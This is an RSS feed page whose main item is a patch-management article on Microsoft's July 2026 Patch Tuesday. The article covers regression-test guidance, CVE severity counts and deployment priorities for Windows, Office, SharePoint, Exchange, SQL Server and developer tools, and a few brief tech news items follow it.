<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37510 spinner verification]]></title>
<description><![CDATA[Direct OpenCode Drive capture of the active thinking spinner for PR #37510.]]></description>
<link>https://tsecurity.de/de/3676483/downloads/pr-37510-spinner-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676483/downloads/pr-37510-spinner-verification/</guid>
<pubDate>Fri, 17 Jul 2026 17:32:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Direct OpenCode Drive capture of the active thinking spinner for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912530081" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37510" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37510/hovercard" href="https://github.com/anomalyco/opencode/pull/37510">#37510</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37510 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37510.]]></description>
<link>https://tsecurity.de/de/3676441/downloads/pr-37510-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676441/downloads/pr-37510-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 17:16:54 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912530081" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37510" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37510/hovercard" href="https://github.com/anomalyco/opencode/pull/37510">#37510</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VMware cannot change network to bridged; No un-bridged host network adapters]]></title>
<description><![CDATA[If VMware displays the error Cannot change network to bridged: There are no un-bridged host network adapters, it means the virtualization software cannot find a suitable physical network adapter to bridge with. As a result, you cannot switch the virtual machine to Bridged networking mode. In this...]]></description>
<link>https://tsecurity.de/de/3676211/windows-tipps/vmware-cannot-change-network-to-bridged-no-un-bridged-host-network-adapters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676211/windows-tipps/vmware-cannot-change-network-to-bridged-no-un-bridged-host-network-adapters/</guid>
<pubDate>Fri, 17 Jul 2026 15:41:05 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="348" src="https://www.thewindowsclub.com/wp-content/uploads/2026/06/cannot-change-network-to-bridged.jpg" class="attachment-full size-full wp-post-image" alt="VMware cannot change network to bridged" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/06/cannot-change-network-to-bridged.jpg 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/cannot-change-network-to-bridged-500x249.jpg 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/cannot-change-network-to-bridged-300x149.jpg 300w" sizes="(max-width: 700px) 100vw, 700px">If VMware displays the error Cannot change network to bridged: There are no un-bridged host network adapters, it means the virtualization software cannot find a suitable physical network adapter to bridge with. As a result, you cannot switch the virtual machine to Bridged networking mode. In this post, we will see what you can do […]</p>
<p>This article <a href="https://www.thewindowsclub.com/vmware-cannot-change-network-to-bridged-no-un-bridged-host-network-adapters">VMware cannot change network to bridged; No un-bridged host network adapters</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Is Selling $230 Codex Micro Hardware Product With Work Louder]]></title>
<description><![CDATA[OpenAI recently teamed up with Work Louder to release a physical tool for developers. Reports show OpenAI is selling $230 Codex Micro hardware product units on its website now. The keyboard brings your digital agent workspace straight to your desk. It helps users manage active chats and keep trac...]]></description>
<link>https://tsecurity.de/de/3675822/ios-mac-os/openai-is-selling-230-codex-micro-hardware-product-with-work-louder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675822/ios-mac-os/openai-is-selling-230-codex-micro-hardware-product-with-work-louder/</guid>
<pubDate>Fri, 17 Jul 2026 12:53:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI recently teamed up with Work Louder to release a physical tool for developers. Reports show OpenAI is selling $230 Codex Micro hardware product units on its website now. The keyboard brings your digital agent workspace straight to your desk. It helps users manage active chats and keep track of tasks through live lighting feedback. Buyers can pick between a clicky or silent switch version when ordering the device.



The device offers physical controls for common coding workflow tasks



The gadget maps your most used actions to physical buttons. This release shows its push into the physical world of artificial intelligence tools.



It connects directly with the desktop app to provide high customization. You can reassign any key or change how the agent buttons work to fit your specific needs. Each key lights up with a status indicator so you can see if the program is thinking, running, waiting, or done before you even open a chat window.



Here is a look at the specific features built into this product:




Trigger skills instantly: Users can flick the built-in joystick to launch common workflows. This includes reviewing a pull request, debugging a coding error, or refactoring text.



Keep core actions close: The command keys give you a dedicated shortcut for accepting, rejecting, or starting a new chat.



Set the brainpower: You can turn a physical dial to adjust the reasoning level of the AI on the fly. This lets you stay fast for simple tasks or turn it up for heavier thinking.




This hardware release marks a big shift in how developers interact with digital models. Moving software controls to a physical keypad saves time by reducing screen switching. It also makes working with smart agents feel much more natural and direct.



The release points to a future where physical devices bridge the gap between human input and complex background processing.]]></content:encoded>
</item>
<item>
<title><![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]></title>
<description><![CDATA[For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.



AI is introducing a wrin...]]></description>
<link>https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
